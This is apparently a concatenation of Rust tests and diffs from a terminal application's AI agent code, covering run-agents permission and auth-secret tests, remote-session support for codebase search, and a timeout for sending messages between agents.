App::test((), |mut app| async move {
|
||||
let state = initialize_run_agents_test(&mut app, ExecutionMode::Sdk);
|
||||
BlocklistAIHistoryModel::handle(&app).update(&mut app, |model, ctx| {
|
||||
model.assign_run_id_for_conversation(
|
||||
state.conversation_id,
|
||||
"00000000-0000-0000-0000-000000000001".to_string(),
|
||||
None,
|
||||
EntityId::new(),
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
let plan_id = AIDocumentModel::handle(&app).update(&mut app, |model, ctx| {
|
||||
model.create_document("Plan", "# Plan", state.conversation_id, None, ctx)
|
||||
});
|
||||
let captured = subscribe_to_start_agent_requests(&mut app, &state.start_agent_executor);
|
||||
let action = remote_run_agents_action("oz");
|
||||
let action_id = action.id.clone();
|
||||
|
||||
let execution = state.executor.update(&mut app, |executor, ctx| {
|
||||
executor
|
||||
.execute(
|
||||
ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: state.conversation_id,
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
.into()
|
||||
});
|
||||
// The action is awaiting plan publication, so it's pending but no children dispatched yet.
|
||||
assert!(matches!(execution, AnyActionExecution::Async { .. }));
|
||||
state.executor.update(&mut app, |executor, ctx| {
|
||||
assert!(executor.is_pending(&action_id));
|
||||
executor.cancel_execution(&action_id, ctx);
|
||||
assert!(!executor.is_pending(&action_id));
|
||||
});
|
||||
|
||||
// Finish publishing the plan, which resolves the wait the dispatch was blocked on.
|
||||
AIDocumentModel::handle(&app).update(&mut app, |model, ctx| {
|
||||
model.create_document_from_notebook(
|
||||
plan_id,
|
||||
SyncId::ServerId(123.into()),
|
||||
"Plan",
|
||||
"# Plan",
|
||||
state.conversation_id,
|
||||
None,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
for _ in 0..3 {
|
||||
futures_lite::future::yield_now().await;
|
||||
}
|
||||
|
||||
// Cancellation won the race: the resolved wait does not fan out children.
|
||||
captured.read(&app, |captured, _ctx| {
|
||||
assert!(captured.0.is_empty());
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
fn set_run_agents_permission(app: &mut App, permission: RunAgentsPermission) {
|
||||
AIExecutionProfilesModel::handle(app).update(app, |profiles, ctx| {
|
||||
let profile_id = *profiles.active_profile(None, ctx).id();
|
||||
profiles.set_run_agents(profile_id, permission, ctx);
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn should_not_autoexecute_without_approved_plan_or_always_allow_profile() {
|
||||
App::test((), |mut app| async move {
|
||||
let state = initialize_run_agents_test(&mut app, ExecutionMode::App);
|
||||
let action = remote_run_agents_action("oz");
|
||||
|
||||
let should_autoexecute = state.executor.update(&mut app, |executor, ctx| {
|
||||
executor.should_autoexecute(
|
||||
ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: state.conversation_id,
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
});
|
||||
|
||||
assert!(!should_autoexecute);
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn execute_denies_remote_non_warp_harness_without_default_auth_secret() {
|
||||
App::test((), |mut app| async move {
|
||||
let state = initialize_run_agents_test(&mut app, ExecutionMode::App);
|
||||
let action = remote_run_agents_action("codex");
|
||||
|
||||
let execution = state.executor.update(&mut app, |executor, ctx| {
|
||||
executor
|
||||
.execute(
|
||||
ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: state.conversation_id,
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
.into()
|
||||
});
|
||||
|
||||
let AnyActionExecution::Sync(AIAgentActionResultType::RunAgents(RunAgentsResult::Denied {
|
||||
reason,
|
||||
})) = execution
|
||||
else {
|
||||
panic!("expected synchronous run_agents denial");
|
||||
};
|
||||
assert_eq!(
|
||||
reason,
|
||||
"Cloud child agents using this harness require an API key before they can run."
|
||||
);
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn should_autoexecute_remote_non_warp_harness_with_always_allow_even_without_default_auth_secret() {
|
||||
App::test((), |mut app| async move {
|
||||
let state = initialize_run_agents_test(&mut app, ExecutionMode::App);
|
||||
set_run_agents_permission(&mut app, RunAgentsPermission::AlwaysAllow);
|
||||
let action = remote_run_agents_action("codex");
|
||||
|
||||
let should_autoexecute = state.executor.update(&mut app, |executor, ctx| {
|
||||
executor.should_autoexecute(
|
||||
ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: state.conversation_id,
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
});
|
||||
|
||||
assert!(should_autoexecute);
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn should_autoexecute_remote_non_warp_harness_with_default_auth_secret() {
|
||||
App::test((), |mut app| async move {
|
||||
let state = initialize_run_agents_test(&mut app, ExecutionMode::App);
|
||||
set_run_agents_permission(&mut app, RunAgentsPermission::AlwaysAllow);
|
||||
persist_default_auth_secret(&mut app, "codex", "default-openai-key");
|
||||
let action = remote_run_agents_action("codex");
|
||||
|
||||
let should_autoexecute = state.executor.update(&mut app, |executor, ctx| {
|
||||
executor.should_autoexecute(
|
||||
ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: state.conversation_id,
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
});
|
||||
|
||||
assert!(should_autoexecute);
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn should_autoexecute_remote_warp_harness_without_default_auth_secret() {
|
||||
App::test((), |mut app| async move {
|
||||
let state = initialize_run_agents_test(&mut app, ExecutionMode::App);
|
||||
set_run_agents_permission(&mut app, RunAgentsPermission::AlwaysAllow);
|
||||
let action = remote_run_agents_action("oz");
|
||||
|
||||
let should_autoexecute = state.executor.update(&mut app, |executor, ctx| {
|
||||
executor.should_autoexecute(
|
||||
ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: state.conversation_id,
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
});
|
||||
|
||||
assert!(should_autoexecute);
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn populate_default_auth_secret_for_autoexecute_uses_persisted_secret() {
|
||||
App::test((), |mut app| async move {
|
||||
let state = initialize_run_agents_test(&mut app, ExecutionMode::App);
|
||||
persist_default_auth_secret(&mut app, "claude", "default-anthropic-key");
|
||||
let AIAgentActionType::RunAgents(mut request) = remote_run_agents_action("claude").action
|
||||
else {
|
||||
panic!("expected run_agents action");
|
||||
};
|
||||
|
||||
state.executor.update(&mut app, |_, ctx| {
|
||||
populate_default_auth_secret_for_execution(&mut request, ctx);
|
||||
});
|
||||
|
||||
assert_eq!(
|
||||
request.harness_auth_secret_name.as_deref(),
|
||||
Some("default-anthropic-key")
|
||||
);
|
||||
});
|
||||
}
|
||||
@@ -1,33 +1,28 @@
|
||||
use std::{
|
||||
collections::HashMap,
|
||||
path::{Path, PathBuf},
|
||||
};
|
||||
use std::collections::HashMap;
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
use futures::{channel::oneshot, future::BoxFuture, FutureExt};
|
||||
use galaxyui::{AppContext, Entity, EntityId, ModelContext, ModelHandle, SingletonEntity};
|
||||
use futures::channel::oneshot;
|
||||
use futures::future::BoxFuture;
|
||||
use futures::FutureExt;
|
||||
use itertools::Itertools;
|
||||
|
||||
use crate::{
|
||||
ai::{
|
||||
agent::{
|
||||
AIAgentAction, AIAgentActionId, AIAgentActionResultType, AIAgentActionType,
|
||||
SearchCodebaseFailureReason, SearchCodebaseRequest, SearchCodebaseResult,
|
||||
},
|
||||
blocklist::{action_model::execute::get_server_output_id, BlocklistAIPermissions},
|
||||
get_relevant_files::controller::{
|
||||
GetRelevantFilesController, GetRelevantFilesControllerEvent, GetRelevantFilesError,
|
||||
},
|
||||
},
|
||||
features::FeatureFlag,
|
||||
send_telemetry_from_ctx,
|
||||
terminal::model::session::active_session::ActiveSession,
|
||||
TelemetryEvent,
|
||||
};
|
||||
|
||||
use super::{
|
||||
read_local_file_context, ActionExecution, AnyActionExecution, ExecuteActionInput,
|
||||
PreprocessActionInput,
|
||||
};
|
||||
use crate::ai::agent::{
|
||||
AIAgentAction, AIAgentActionId, AIAgentActionResultType, AIAgentActionType,
|
||||
SearchCodebaseFailureReason, SearchCodebaseRequest, SearchCodebaseResult,
|
||||
};
|
||||
use crate::ai::blocklist::action_model::execute::get_server_output_id;
|
||||
use crate::ai::blocklist::{BlocklistAIPermissions, SessionContext};
|
||||
use crate::ai::get_relevant_files::controller::{
|
||||
GetRelevantFilesController, GetRelevantFilesControllerEvent, GetRelevantFilesControllerResult,
|
||||
GetRelevantFilesError, GetRelevantFilesRequestTarget,
|
||||
};
|
||||
use crate::features::FeatureFlag;
|
||||
use crate::terminal::model::session::active_session::ActiveSession;
|
||||
use crate::{send_telemetry_from_ctx, TelemetryEvent};
|
||||
|
||||
pub struct SearchCodebaseExecutor {
|
||||
active_session: ModelHandle<ActiveSession>,
|
||||
@@ -48,13 +43,27 @@ impl SearchCodebaseExecutor {
|
||||
terminal_view_id: EntityId,
|
||||
ctx: &mut ModelContext<Self>,
|
||||
) -> Self {
|
||||
ctx.subscribe_to_model(&get_relevant_files_controller, |me, event, ctx| {
|
||||
ctx.subscribe_to_model(&get_relevant_files_controller, |me, _, event, ctx| {
|
||||
if !me.active_searches.contains_key(event.action_id()) {
|
||||
return;
|
||||
}
|
||||
|
||||
match event {
|
||||
GetRelevantFilesControllerEvent::Success { fragments, .. } => {
|
||||
GetRelevantFilesControllerEvent::Success {
|
||||
action_id,
|
||||
result: GetRelevantFilesControllerResult::SearchResult(result),
|
||||
} => {
|
||||
let Some(result_tx) = me.active_searches.remove(action_id) else {
|
||||
return;
|
||||
};
|
||||
if let Err(e) = result_tx.send(result.clone()) {
|
||||
log::warn!("Failed to send search codebase results to receiver {e:?}.");
|
||||
}
|
||||
}
|
||||
GetRelevantFilesControllerEvent::Success {
|
||||
result: GetRelevantFilesControllerResult::Locations(fragments),
|
||||
..
|
||||
} => {
|
||||
let action_id = event.action_id().clone();
|
||||
let locations = fragments
|
||||
.iter()
|
||||
@@ -188,108 +197,196 @@ impl SearchCodebaseExecutor {
|
||||
else {
|
||||
return ActionExecution::InvalidAction;
|
||||
};
|
||||
let codebase_path = codebase_path.as_ref().map(PathBuf::from);
|
||||
|
||||
let Some(current_working_directory) = self
|
||||
.active_session
|
||||
.as_ref(ctx)
|
||||
.current_working_directory()
|
||||
.map(PathBuf::from)
|
||||
else {
|
||||
// This should really never happen; it implies that we don't know what the
|
||||
// current working directory is, which is never the case.
|
||||
return ActionExecution::Sync(AIAgentActionResultType::SearchCodebase(
|
||||
SearchCodebaseResult::Failed {
|
||||
reason: SearchCodebaseFailureReason::MissingCurrentWorkingDirectory,
|
||||
message: "The search failed. Try another way to locate the relevant files."
|
||||
.to_string(),
|
||||
let session_context = SessionContext::from_session(self.active_session.as_ref(ctx), ctx);
|
||||
if session_context.is_remote() {
|
||||
let requested_codebase_path = codebase_path
|
||||
.as_deref()
|
||||
.filter(|path| !path.is_empty() && *path != ".")
|
||||
.map(ToOwned::to_owned);
|
||||
let server_output_id = get_server_output_id(conversation_id, ctx);
|
||||
send_telemetry_from_ctx!(
|
||||
TelemetryEvent::SearchCodebaseRequested {
|
||||
action_id: id.clone(),
|
||||
server_output_id,
|
||||
is_cross_repo: requested_codebase_path.is_some(),
|
||||
},
|
||||
));
|
||||
};
|
||||
ctx
|
||||
);
|
||||
|
||||
let search_dir;
|
||||
let is_cross_repo;
|
||||
if FeatureFlag::CrossRepoContext.is_enabled() {
|
||||
is_cross_repo = codebase_path
|
||||
.as_ref()
|
||||
.is_some_and(|path| !current_working_directory.starts_with(path));
|
||||
search_dir = codebase_path.unwrap_or(current_working_directory);
|
||||
} else {
|
||||
is_cross_repo = false;
|
||||
search_dir = current_working_directory;
|
||||
}
|
||||
let server_output_id = get_server_output_id(input.conversation_id, ctx);
|
||||
send_telemetry_from_ctx!(
|
||||
TelemetryEvent::SearchCodebaseRequested {
|
||||
action_id: id.clone(),
|
||||
server_output_id,
|
||||
is_cross_repo,
|
||||
},
|
||||
ctx
|
||||
);
|
||||
let root_dir_for_search = self.root_repo_paths.get(id).cloned().or_else(|| {
|
||||
self.get_relevant_files_controller
|
||||
.as_ref(ctx)
|
||||
.root_directory_for_remote_search(
|
||||
&session_context,
|
||||
requested_codebase_path.as_deref(),
|
||||
ctx,
|
||||
)
|
||||
});
|
||||
let Some(root_dir_for_search) = root_dir_for_search else {
|
||||
return ActionExecution::Sync(AIAgentActionResultType::SearchCodebase(
|
||||
SearchCodebaseResult::Failed {
|
||||
reason: SearchCodebaseFailureReason::CodebaseNotIndexed,
|
||||
message: "The search failed because the codebase is not available. Try another way to locate the relevant files.".to_owned(),
|
||||
},
|
||||
));
|
||||
};
|
||||
|
||||
let Some(root_dir_for_search) = self.root_repo_paths.get(id) else {
|
||||
let action_id = id.clone();
|
||||
|
||||
// Check if directory exists on background thread since its a sys call; no need to block
|
||||
// main thread since its just for telemetry.
|
||||
let _ = ctx.spawn(async move { search_dir.exists() }, |_, exists, ctx| {
|
||||
let error = if exists {
|
||||
"The codebase isn't indexed".to_string()
|
||||
} else {
|
||||
"The codebase doesn't exist".to_string()
|
||||
};
|
||||
send_telemetry_from_ctx!(
|
||||
TelemetryEvent::SearchCodebaseRepoUnavailable { action_id, error },
|
||||
ctx
|
||||
// Add the repo root as a temporary permission; if the user gave us permission to
|
||||
// search the repo, we can certainly search files within it for the rest of the convo.
|
||||
BlocklistAIPermissions::handle(ctx).update(ctx, |model, _ctx| {
|
||||
model.add_temporary_file_read_permissions(
|
||||
conversation_id,
|
||||
vec![root_dir_for_search.to_owned()],
|
||||
);
|
||||
});
|
||||
return ActionExecution::Sync(AIAgentActionResultType::SearchCodebase(SearchCodebaseResult::Failed {
|
||||
message: "The search failed because the codebase is not available. Try another way to locate the relevant files.".to_owned(),
|
||||
reason: SearchCodebaseFailureReason::CodebaseNotIndexed
|
||||
}));
|
||||
};
|
||||
|
||||
// Add the repo root as a temporary permission; if the user gave us permission to
|
||||
// search the repo, we can certainly search files within it for the rest of the convo.
|
||||
BlocklistAIPermissions::handle(ctx).update(ctx, |model, _ctx| {
|
||||
model.add_temporary_file_read_permissions(
|
||||
conversation_id,
|
||||
vec![root_dir_for_search.to_owned()],
|
||||
);
|
||||
});
|
||||
let (result_tx, result_rx) = oneshot::channel();
|
||||
self.active_searches.insert(id.clone(), result_tx);
|
||||
|
||||
let (result_tx, result_rx) = oneshot::channel();
|
||||
self.active_searches.insert(id.clone(), result_tx);
|
||||
match self
|
||||
.get_relevant_files_controller
|
||||
.update(ctx, |controller, ctx| {
|
||||
controller.send_request(
|
||||
GetRelevantFilesRequestTarget::Remote {
|
||||
session_context,
|
||||
requested_codebase_path,
|
||||
},
|
||||
query.clone(),
|
||||
partial_paths.as_ref(),
|
||||
id.clone(),
|
||||
ctx,
|
||||
)
|
||||
}) {
|
||||
Ok(_) => ActionExecution::Async {
|
||||
execute_future: Box::pin(result_rx),
|
||||
on_complete: Box::new(
|
||||
|res: Result<SearchCodebaseResult, oneshot::Canceled>, _ctx| {
|
||||
let action_result =
|
||||
res.unwrap_or_else(|e| SearchCodebaseResult::Failed {
|
||||
message: e.to_string(),
|
||||
reason: SearchCodebaseFailureReason::ClientError,
|
||||
});
|
||||
AIAgentActionResultType::SearchCodebase(action_result)
|
||||
},
|
||||
),
|
||||
},
|
||||
Err(e) => {
|
||||
log::warn!("Failed to send remote get_relevant_files request: {e:?}");
|
||||
ActionExecution::Sync(AIAgentActionResultType::SearchCodebase(
|
||||
SearchCodebaseResult::Failed {
|
||||
reason: SearchCodebaseFailureReason::CodebaseNotIndexed,
|
||||
message: "Remote codebase search is unavailable.".to_owned(),
|
||||
},
|
||||
))
|
||||
}
|
||||
}
|
||||
} else {
|
||||
let codebase_path = codebase_path.as_ref().map(PathBuf::from);
|
||||
|
||||
// Start the actual search.
|
||||
match self
|
||||
.get_relevant_files_controller
|
||||
.update(ctx, |controller, ctx| {
|
||||
controller.send_request(
|
||||
root_dir_for_search,
|
||||
query.clone(),
|
||||
partial_paths.as_ref(),
|
||||
id.clone(),
|
||||
ctx,
|
||||
)
|
||||
}) {
|
||||
Ok(_) => ActionExecution::Async {
|
||||
execute_future: Box::pin(result_rx),
|
||||
on_complete: Box::new(
|
||||
|res: Result<SearchCodebaseResult, oneshot::Canceled>, _ctx| {
|
||||
let action_result = res.unwrap_or_else(|e| SearchCodebaseResult::Failed {
|
||||
message: e.to_string(),
|
||||
reason: SearchCodebaseFailureReason::ClientError,
|
||||
});
|
||||
AIAgentActionResultType::SearchCodebase(action_result)
|
||||
let Some(current_working_directory) = self
|
||||
.active_session
|
||||
.as_ref(ctx)
|
||||
.current_working_directory()
|
||||
.map(PathBuf::from)
|
||||
else {
|
||||
// This should really never happen; it implies that we don't know what the
|
||||
// current working directory is, which is never the case.
|
||||
return ActionExecution::Sync(AIAgentActionResultType::SearchCodebase(
|
||||
SearchCodebaseResult::Failed {
|
||||
reason: SearchCodebaseFailureReason::MissingCurrentWorkingDirectory,
|
||||
message: "The search failed. Try another way to locate the relevant files."
|
||||
.to_string(),
|
||||
},
|
||||
),
|
||||
},
|
||||
Err(e) => {
|
||||
log::warn!("Failed to send get_relevant_files request for directory: {e:?}");
|
||||
));
|
||||
};
|
||||
|
||||
let error_message = match e {
|
||||
let search_dir;
|
||||
let is_cross_repo;
|
||||
if FeatureFlag::CrossRepoContext.is_enabled() {
|
||||
is_cross_repo = codebase_path
|
||||
.as_ref()
|
||||
.is_some_and(|path| !current_working_directory.starts_with(path));
|
||||
search_dir = codebase_path.unwrap_or(current_working_directory);
|
||||
} else {
|
||||
is_cross_repo = false;
|
||||
search_dir = current_working_directory;
|
||||
}
|
||||
let server_output_id = get_server_output_id(conversation_id, ctx);
|
||||
send_telemetry_from_ctx!(
|
||||
TelemetryEvent::SearchCodebaseRequested {
|
||||
action_id: id.clone(),
|
||||
server_output_id,
|
||||
is_cross_repo,
|
||||
},
|
||||
ctx
|
||||
);
|
||||
|
||||
let Some(root_dir_for_search) = self.root_repo_paths.get(id) else {
|
||||
let action_id = id.clone();
|
||||
|
||||
// Check if directory exists on background thread since its a sys call; no need to block
|
||||
// main thread since its just for telemetry.
|
||||
let _ = ctx.spawn(async move { search_dir.exists() }, |_, exists, ctx| {
|
||||
let error = if exists {
|
||||
"The codebase isn't indexed".to_string()
|
||||
} else {
|
||||
"The codebase doesn't exist".to_string()
|
||||
};
|
||||
send_telemetry_from_ctx!(
|
||||
TelemetryEvent::SearchCodebaseRepoUnavailable { action_id, error },
|
||||
ctx
|
||||
);
|
||||
});
|
||||
return ActionExecution::Sync(AIAgentActionResultType::SearchCodebase(SearchCodebaseResult::Failed {
|
||||
message: "The search failed because the codebase is not available. Try another way to locate the relevant files.".to_owned(),
|
||||
reason: SearchCodebaseFailureReason::CodebaseNotIndexed
|
||||
}));
|
||||
};
|
||||
|
||||
// Add the repo root as a temporary permission; if the user gave us permission to
|
||||
// search the repo, we can certainly search files within it for the rest of the convo.
|
||||
BlocklistAIPermissions::handle(ctx).update(ctx, |model, _ctx| {
|
||||
model.add_temporary_file_read_permissions(
|
||||
conversation_id,
|
||||
vec![root_dir_for_search.to_owned()],
|
||||
);
|
||||
});
|
||||
|
||||
let (result_tx, result_rx) = oneshot::channel();
|
||||
self.active_searches.insert(id.clone(), result_tx);
|
||||
|
||||
// Start the actual search.
|
||||
match self
|
||||
.get_relevant_files_controller
|
||||
.update(ctx, |controller, ctx| {
|
||||
controller.send_request(
|
||||
GetRelevantFilesRequestTarget::Local {
|
||||
directory: root_dir_for_search.clone(),
|
||||
},
|
||||
query.clone(),
|
||||
partial_paths.as_ref(),
|
||||
id.clone(),
|
||||
ctx,
|
||||
)
|
||||
}) {
|
||||
Ok(_) => ActionExecution::Async {
|
||||
execute_future: Box::pin(result_rx),
|
||||
on_complete: Box::new(
|
||||
|res: Result<SearchCodebaseResult, oneshot::Canceled>, _ctx| {
|
||||
let action_result =
|
||||
res.unwrap_or_else(|e| SearchCodebaseResult::Failed {
|
||||
message: e.to_string(),
|
||||
reason: SearchCodebaseFailureReason::ClientError,
|
||||
});
|
||||
AIAgentActionResultType::SearchCodebase(action_result)
|
||||
},
|
||||
),
|
||||
},
|
||||
Err(e) => {
|
||||
log::warn!("Failed to send get_relevant_files request for directory: {e:?}");
|
||||
|
||||
let error_message = match e {
|
||||
GetRelevantFilesError::Pending => {
|
||||
"The current git repository is still being indexed, so search is unavailable right now. You can try again later".to_owned()
|
||||
}
|
||||
@@ -300,12 +397,13 @@ impl SearchCodebaseExecutor {
|
||||
"The current directory isn't within a git repository, which is necessary to search for relevant files.".to_owned()
|
||||
}
|
||||
};
|
||||
ActionExecution::Sync(AIAgentActionResultType::SearchCodebase(
|
||||
SearchCodebaseResult::Failed {
|
||||
reason: SearchCodebaseFailureReason::CodebaseNotIndexed,
|
||||
message: error_message,
|
||||
},
|
||||
))
|
||||
ActionExecution::Sync(AIAgentActionResultType::SearchCodebase(
|
||||
SearchCodebaseResult::Failed {
|
||||
reason: SearchCodebaseFailureReason::CodebaseNotIndexed,
|
||||
message: error_message,
|
||||
},
|
||||
))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -333,6 +431,17 @@ impl SearchCodebaseExecutor {
|
||||
app: &AppContext,
|
||||
) -> Option<PathBuf> {
|
||||
let SearchCodebaseRequest { codebase_path, .. } = request;
|
||||
let session_context = SessionContext::from_session(self.active_session.as_ref(app), app);
|
||||
if session_context.is_remote() {
|
||||
let requested_codebase_path = codebase_path
|
||||
.as_deref()
|
||||
.filter(|path| !path.is_empty() && *path != ".");
|
||||
return self
|
||||
.get_relevant_files_controller
|
||||
.as_ref(app)
|
||||
.root_directory_for_remote_search(&session_context, requested_codebase_path, app);
|
||||
}
|
||||
|
||||
let codebase_path = codebase_path.as_deref().map(PathBuf::from);
|
||||
let Some(pwd) = self
|
||||
.active_session
|
||||
|
||||
@@ -1,28 +1,131 @@
|
||||
use futures::{future::BoxFuture, FutureExt};
|
||||
use galaxyui::{Entity, ModelContext, SingletonEntity};
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
use std::time::Duration;
|
||||
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
use anyhow::anyhow;
|
||||
use futures::future::BoxFuture;
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
use futures::future::Either;
|
||||
use futures::FutureExt;
|
||||
use galaxy_core::send_telemetry_from_ctx;
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
use warpui::r#async::Timer;
|
||||
use warpui::{AppContext, Entity, ModelContext, SingletonEntity};
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
use crate::ai::agent::conversation::AIConversationId;
|
||||
use crate::ai::agent::{
|
||||
AIAgentAction, AIAgentActionResultType, AIAgentActionType, SendMessageToAgentResult,
|
||||
};
|
||||
use crate::ai::ambient_agents::AmbientAgentTaskId;
|
||||
use crate::ai::blocklist::history_model::BlocklistAIHistoryModel;
|
||||
use crate::ai::blocklist::orchestration_events::{OrchestrationEventService, SendMessageResult};
|
||||
use crate::ai::blocklist::telemetry::{
|
||||
BlocklistOrchestrationTelemetryEvent, TeamAgentCommunicationFailedEvent,
|
||||
TeamAgentCommunicationFailureReason, TeamAgentCommunicationKind,
|
||||
TeamAgentCommunicationTransport, TeamAgentOrchestrationVersion,
|
||||
};
|
||||
use crate::server::server_api::ai::SendAgentMessageRequest;
|
||||
use crate::server::server_api::ai::{SendAgentMessageRequest, SendAgentMessageResponse};
|
||||
use crate::server::server_api::ServerApiProvider;
|
||||
use galaxy_core::features::FeatureFlag;
|
||||
use galaxy_core::send_telemetry_from_ctx;
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
const SEND_AGENT_MESSAGE_TIMEOUT: Duration = Duration::from_secs(15);
|
||||
|
||||
pub struct SendMessageToAgentExecutor;
|
||||
pub struct SendMessageToAgentExecutor {
|
||||
ambient_agent_task_id: Option<AmbientAgentTaskId>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
enum SendMessageTaskResolution {
|
||||
ConversationTask,
|
||||
AmbientTaskFallback,
|
||||
NoTaskContext,
|
||||
}
|
||||
|
||||
fn sender_run_id_and_task_id_for_send(
|
||||
conversation_id: AIConversationId,
|
||||
ambient_agent_task_id: Option<AmbientAgentTaskId>,
|
||||
ctx: &AppContext,
|
||||
) -> (
|
||||
String,
|
||||
Option<AmbientAgentTaskId>,
|
||||
SendMessageTaskResolution,
|
||||
) {
|
||||
let conversation = BlocklistAIHistoryModel::as_ref(ctx).conversation(&conversation_id);
|
||||
let conversation_task_id = conversation.and_then(|conversation| conversation.task_id());
|
||||
let (task_id, task_resolution) = match (conversation_task_id, ambient_agent_task_id) {
|
||||
(Some(task_id), _) => (Some(task_id), SendMessageTaskResolution::ConversationTask),
|
||||
(None, Some(task_id)) => (
|
||||
Some(task_id),
|
||||
SendMessageTaskResolution::AmbientTaskFallback,
|
||||
),
|
||||
(None, None) => (None, SendMessageTaskResolution::NoTaskContext),
|
||||
};
|
||||
let sender_run_id = conversation
|
||||
.and_then(|conversation| conversation.run_id())
|
||||
.or_else(|| task_id.map(|task_id| task_id.to_string()))
|
||||
.unwrap_or_default();
|
||||
(sender_run_id, task_id, task_resolution)
|
||||
}
|
||||
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
async fn send_agent_message_with_timeout(
|
||||
server_api: std::sync::Arc<crate::server::server_api::ServerApi>,
|
||||
ai_client: std::sync::Arc<dyn crate::server::server_api::ai::AIClient>,
|
||||
task_id: Option<AmbientAgentTaskId>,
|
||||
request: SendAgentMessageRequest,
|
||||
) -> anyhow::Result<SendAgentMessageResponse, anyhow::Error> {
|
||||
let task_id_for_timeout = task_id.map(|task_id| task_id.to_string());
|
||||
let send_message = async move {
|
||||
match task_id {
|
||||
Some(task_id) => {
|
||||
server_api
|
||||
.send_agent_message_for_task(&task_id, request)
|
||||
.await
|
||||
}
|
||||
None => ai_client.send_agent_message(request).await,
|
||||
}
|
||||
};
|
||||
let timeout = Timer::after(SEND_AGENT_MESSAGE_TIMEOUT);
|
||||
futures::pin_mut!(send_message);
|
||||
futures::pin_mut!(timeout);
|
||||
|
||||
match futures::future::select(send_message, timeout).await {
|
||||
Either::Left((result, _)) => result,
|
||||
Either::Right(_) => Err(anyhow!(
|
||||
"Timed out sending orchestration message{}",
|
||||
task_id_for_timeout
|
||||
.map(|task_id| format!(" for task {task_id}"))
|
||||
.unwrap_or_default()
|
||||
)),
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(target_family = "wasm")]
|
||||
async fn send_agent_message_with_timeout(
|
||||
server_api: std::sync::Arc<crate::server::server_api::ServerApi>,
|
||||
ai_client: std::sync::Arc<dyn crate::server::server_api::ai::AIClient>,
|
||||
task_id: Option<AmbientAgentTaskId>,
|
||||
request: SendAgentMessageRequest,
|
||||
) -> anyhow::Result<SendAgentMessageResponse, anyhow::Error> {
|
||||
match task_id {
|
||||
Some(task_id) => {
|
||||
server_api
|
||||
.send_agent_message_for_task(&task_id, request)
|
||||
.await
|
||||
}
|
||||
None => ai_client.send_agent_message(request).await,
|
||||
}
|
||||
}
|
||||
|
||||
impl SendMessageToAgentExecutor {
|
||||
pub fn new() -> Self {
|
||||
Self
|
||||
Self {
|
||||
ambient_agent_task_id: None,
|
||||
}
|
||||
}
|
||||
|
||||
pub fn set_ambient_agent_task_id(&mut self, id: Option<AmbientAgentTaskId>) {
|
||||
self.ambient_agent_task_id = id;
|
||||
}
|
||||
|
||||
pub(super) fn should_autoexecute(
|
||||
@@ -56,96 +159,67 @@ impl SendMessageToAgentExecutor {
|
||||
let subject = subject.clone();
|
||||
let message_body = message.clone();
|
||||
|
||||
if FeatureFlag::OrchestrationV2.is_enabled() {
|
||||
let sender_run_id = BlocklistAIHistoryModel::as_ref(ctx)
|
||||
.conversation(&conversation_id)
|
||||
.and_then(|c| c.run_id())
|
||||
.map(|s| s.to_string())
|
||||
.unwrap_or_default();
|
||||
|
||||
// In local Bedrock mode, child agents run autonomously in their
|
||||
// own conversation loop — there's no server API to relay messages.
|
||||
// Return an error explaining the limitation so the model doesn't
|
||||
// keep polling in a loop.
|
||||
if sender_run_id.is_empty() {
|
||||
log::info!(
|
||||
"[send_message] No run_id for conversation {:?}, assuming local mode — skipping server API call",
|
||||
conversation_id
|
||||
);
|
||||
return ActionExecution::<()>::Sync(AIAgentActionResultType::SendMessageToAgent(
|
||||
SendMessageToAgentResult::Error(
|
||||
"Child agents are running autonomously in local mode. \
|
||||
You cannot send messages to them. They will complete their \
|
||||
tasks independently. Continue with your own work or wait \
|
||||
for the user to share the results."
|
||||
.to_string(),
|
||||
),
|
||||
))
|
||||
.into();
|
||||
}
|
||||
let log_addresses = addresses.clone();
|
||||
let log_subject = subject.clone();
|
||||
let log_sender_run_id = sender_run_id.clone();
|
||||
let ai_client = ServerApiProvider::as_ref(ctx).get_ai_client();
|
||||
let request = SendAgentMessageRequest {
|
||||
to: addresses,
|
||||
subject,
|
||||
body: message_body,
|
||||
sender_run_id,
|
||||
};
|
||||
return ActionExecution::new_async(
|
||||
async move { ai_client.send_agent_message(request).await },
|
||||
move |result, ctx| match result {
|
||||
Ok(response) => {
|
||||
let message_id =
|
||||
response.message_ids.into_iter().next().unwrap_or_default();
|
||||
AIAgentActionResultType::SendMessageToAgent(
|
||||
SendMessageToAgentResult::Success { message_id },
|
||||
)
|
||||
}
|
||||
Err(err) => {
|
||||
let error_message = err.to_string();
|
||||
send_telemetry_from_ctx!(
